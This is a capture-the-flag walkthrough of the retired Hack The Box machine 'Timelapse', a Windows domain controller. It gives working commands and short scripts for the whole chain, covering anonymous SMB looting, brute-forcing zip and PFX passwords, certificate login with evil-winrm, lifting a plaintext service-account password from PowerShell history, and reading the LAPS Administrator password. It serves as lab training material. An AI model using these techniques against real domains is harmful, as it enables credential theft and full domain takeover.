Hack The Box — Timelapse Walkthrough
Difficulty: Easy · OS: Windows Server (Active Directory DC) · Target IP: 10.129.227.113 · Date: September 22, 2026
Overview
Timelapse is a retired Easy-rated Windows box on Hack The Box, and it's a clean little tour of the kind of mistakes that pile up on a real Active Directory domain controller. There's no memory-corruption exploit and no exotic protocol abuse here, the whole path is built on things that were left lying around: an anonymous SMB share with a password-protected backup in it, a certificate that turns out to be a login credential, a service account password committed to a user's PowerShell history, and finally LAPS handing over the local Administrator password to a group that was allowed to read it. I want to walk through exactly how I went from an unauthenticated null session to a domain Administrator shell, including a couple of small tooling snags I hit along the way, because those details are usually the most useful part of a writeup.
Reconnaissance
I started with a full TCP port scan to see the whole surface before committing to anything:
nmap -Pn -p- --min-rate 2000 -T4 10.129.227.113 -oN nmap-allports.txt
Then a focused service/version scan on the interesting ports:
nmap -Pn -p 53,88,135,139,389,445,636,5986 -sCV 10.129.227.113 -oN nmap-services.txt
The results were an unmistakable Active Directory domain controller:
| Port | Service | Notes |
|---|---|---|
| 53 | DNS (Simple DNS Plus) | AD-integrated DNS |
| 88 | Kerberos | Confirms this is a DC |
| 135 | msrpc | Standard Windows RPC |
| 139/445 | SMB | Signing enabled and required |
| 389/636/3268/3269 | LDAP / LDAPS / Global Catalog | Domain timelapse.htb |
| 5986 | WinRM over HTTPS (ssl/http) |
Not the usual 5985 |
| 9389 | ADWS | AD Web Services |
Two things stood out immediately. First, the LDAP banner and the TLS certificate on 5986 gave me the naming up front, domain timelapse.htb, host dc01.timelapse.htb (CN=dc01.timelapse.htb). Second, and more importantly, WinRM was on 5986 (HTTPS), not the usual 5985 (HTTP).
I also clocked an eight-hour clock skew between my host and the DC in the scan output. On a Kerberos target that matters if I ended up doing Kerberos auth I'd need to sync my clock first, but as it turned out I never needed Kerberos here, so I filed it away and moved on.
I dropped the names into a note (I couldn't write to /etc/hosts without a sudo password in this session, so I just used the IP directly throughout, which works fine for everything except Kerberos):
10.129.227.113 timelapse.htb dc01.timelapse.htb dc01
Enumeration
SMB — Anonymous Share Listing (Port 445)
The lowest-effort thing to rule out on any Windows box is anonymous SMB, so I checked it first:
smbclient -L //10.129.227.113/ -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Shares Disk
SYSVOL Disk Logon server share
The null session worked, and there was one non-default share sitting right there: Shares. The default administrative shares (C$, ADMIN$) won't be readable anonymously, but a custom share named Shares is exactly the kind of thing worth digging into. I listed it recursively:
smbclient //10.129.227.113/Shares -N -c 'recurse ON; ls'
\Dev
winrm_backup.zip A 2611 Mon Oct 25 16:46:42 2021
\HelpDesk
LAPS.x64.msi A 1118208
LAPS_Datasheet.docx A 104422
LAPS_OperationsGuide.docx A 641378
LAPS_TechnicalSpecification.docx A 72683
Two useful things here. Dev\winrm_backup.zip is an obvious target, a "winrm backup" strongly implies credentials or a certificate for authenticating to that WinRM service I'd just seen on 5986. And the HelpDesk folder was full of LAPS documentation. LAPS (Local Administrator Password Solution) manages and rotates local Administrator passwords, storing them in an AD attribute readable only by authorized principals. Seeing the LAPS installer and docs staged here was a strong hint that the privilege-escalation path would end in reading a LAPS-managed password, so I noted it and kept it in mind for later.
I pulled the zip down:
smbclient //10.129.227.113/Shares -N -c 'cd Dev; get winrm_backup.zip'
Cracking the Backup
The Zip
The archive was password-protected, a plain unzip gave unable to get password, and unzip -l showed a single interesting file inside:
legacyy_dev_auth.pfx
A .pfx (PKCS#12) file bundles a certificate together with its private key, and the name legacyy_dev_auth told me two things, there's probably a user named legacyy, and this cert is meant for authentication. But first I had to get past the zip password.
The usual move here is to pull the archive hash with zip2john and throw hashcat at it. But this zip uses legacy ZipCrypto, and for that scheme a candidate can be tested directly against the archive without ever extracting a hash. So rather than round-trip through the hash-format tooling, I got Claude to write a tiny multiprocessing brute-forcer in Python that runs each rockyou candidate straight against the file with the standard library's zipfile module. It's fast enough that a common password falls in seconds:
import zipfile
from multiprocessing import Pool
ZIP = "winrm_backup.zip"
def worker(chunk):
z = zipfile.ZipFile(ZIP)
name = z.namelist()[0]
for pw in chunk:
try:
z.open(name, pwd=pw.encode()).read(1)
return pw
except Exception:
pass
return None
# ...feed rockyou in chunks to a Pool, stop on first hit
It landed almost immediately:
PASSWORD FOUND: supremelegacy
The PFX
With supremelegacy I extracted the .pfx, but the certificate itself was also password-protected openssl pkcs12 -info returned Mac verify error: invalid password?. Same situation, same approach. Instead of shelling out to openssl once per candidate (slow), I brute-forced it in-process with the cryptography library's pkcs12.load_key_and_certificates, which raises on a wrong password:
from cryptography.hazmat.primitives.serialization import pkcs12
DATA = open("legacyy_dev_auth.pfx", "rb").read()
def worker(chunk):
for pw in chunk:
try:
pkcs12.load_key_and_certificates(DATA, pw.encode())
return pw
except Exception:
pass
return None
PFX PASSWORD: thuglegacy
Two rockyou passwords, both themed around the username supremelegacy and thuglegacy. With the PFX password in hand I split it into a separate certificate and private key so evil-winrm could use them:
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy.key -nodes -passin pass:thuglegacy
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy.crt -passin pass:thuglegacy
openssl x509 -in legacyy.crt -noout -subject
subject=CN=Legacyy
That confirmed it this certificate authenticates as the domain user Legacyy. The .pfx is the credential; there's no password to crack for the account itself, because WinRM on this box accepts certificate-based client authentication.
Foothold — WinRM Certificate Authentication
evil-winrm supports client-certificate auth with -c (public cert) and -k (private key). Because WinRM here is HTTPS on 5986, I also needed -S and -P 5986:
evil-winrm -i 10.129.227.113 -c legacyy.crt -k legacyy.key -S -P 5986
A small snag: my first attempt tacked on -e (thinking of an executables path) with no argument, and evil-winrm bailed out with Error: missing argument: -e. That flag takes a directory value; I just dropped it since I didn't need it. With the flags corrected the connection came up cleanly:
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy
Checking my group memberships showed Legacyy sitting in Remote Management Users (which is why WinRM works) and a custom TIMELAPSE\Development group:
TIMELAPSE\Development Group S-1-5-21-671920749-559770252-3318990721-3101
BUILTIN\Remote Management Users Alias S-1-5-32-580
And the user flag:
type C:\Users\legacyy\Desktop\user.txt
Lateral Movement — Credentials in PowerShell History
The first place I look on a Windows foothold is the PowerShell console history — ConsoleHost_history.txt is a plaintext log of everything a user typed, and it's a goldmine on AD boxes.
My first instinct was a recursive Get-ChildItem across C:\Users for every history file at once, but that call was slow enough that the WinRM session timed out on me:
Get-ChildItem -Recurse "C:\Users" -Include "ConsoleHost_history.txt" -Force
# Error: HTTPClient::ReceiveTimeoutError: execution expired
That's a common rough edge with evil-winrm, a broad recursive filesystem walk over the wire will happily blow past the client's receive timeout. Rather than tune timeouts, I narrowed the query to the exact paths I cared about. I also took a hopeful shot at the other user's history files while I was at it, since if a service account had left its own history around that'd be an even faster win:
type "C:\Users\svc_deploy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
# Cannot find path ... because it does not exist.
No such luck svc_deploy had no readable history (and as Legacyy I wouldn't have had permission anyway). But my own user's history was right where it always is:
type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
That was all I needed:
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
Someone had scripted a remote command as svc_deploy and left the password inline:
svc_deploy : E3R$Q62^12p7PLlC%KWaxuaV
That's a service account, and service accounts usually have more interesting group memberships than a regular dev user so I logged straight into WinRM as svc_deploy (same SSL flags) to see what it could do.
Privilege Escalation — LAPS Password Disclosure
The LAPS documentation staged in the HelpDesk share back at the enumeration stage had already told me where this was going. LAPS stores each machine's rotating local Administrator password in the computer object's ms-Mcs-AdmPwd attribute, and only members of a specifically delegated group can read it. So the first thing I checked as svc_deploy was its groups:
whoami /groups
TIMELAPSE\LAPS_Readers Group S-1-5-21-671920749-559770252-3318990721-2601
There it was, svc_deploy is a member of LAPS_Readers. That group has read access to the LAPS attribute on the domain controller's own computer object, which means it can read DC01's local Administrator password. I pulled it straight out of AD:
Get-ADComputer -Identity DC01 -Properties ms-Mcs-AdmPwd | Select-Object name, ms-Mcs-AdmPwd
name ms-Mcs-AdmPwd
---- -------------
DC01 -PqZ952YRIS9{2WINW[0;5Wo
The password contained the substring [0;5, which looks exactly like the start of an ANSI terminal escape sequence the kind of thing that can get eaten or mangled when it's printed to a console and copied out. Before trusting it, I base64-encoded the value on the remote side and decoded it locally to confirm the exact bytes:
$p = (Get-ADComputer -Identity DC01 -Properties ms-Mcs-AdmPwd).'ms-Mcs-AdmPwd'
[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($p))
echo -n "LVBxWjk1MllSSVM5ezJXSU5XWzA7NVdv" | base64 -d
# -> -PqZ952YRIS9{2WINW[0;5Wo (24 bytes)
The round-trip confirmed the [0;5 is literal, not an escape sequence. That saved me from an authentication failure I'd otherwise have blamed on the wrong thing.
Administrator Access
With the confirmed LAPS password, I logged into WinRM as the local/domain Administrator (again -S -P 5986):
evil-winrm -i 10.129.227.113 -u Administrator -p '-PqZ952YRIS9{2WINW[0;5Wo' -S -P 5986
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
timelapse\administrator
The root flag wasn't where I first looked. Administrator\Desktop was empty, but C:\Users had an extra profile TRX and that's where the flag was staged:
Get-ChildItem C:\Users\TRX\Desktop
type C:\Users\TRX\Desktop\root.txt
Domain compromised.
One thing to remember on a re-attempt: LAPS passwords rotate on a schedule, so the value above is only good until the next rotation. If you come back to the box later and Administrator auth fails, just re-read
ms-Mcs-AdmPwdassvc_deployfirst to get the current password.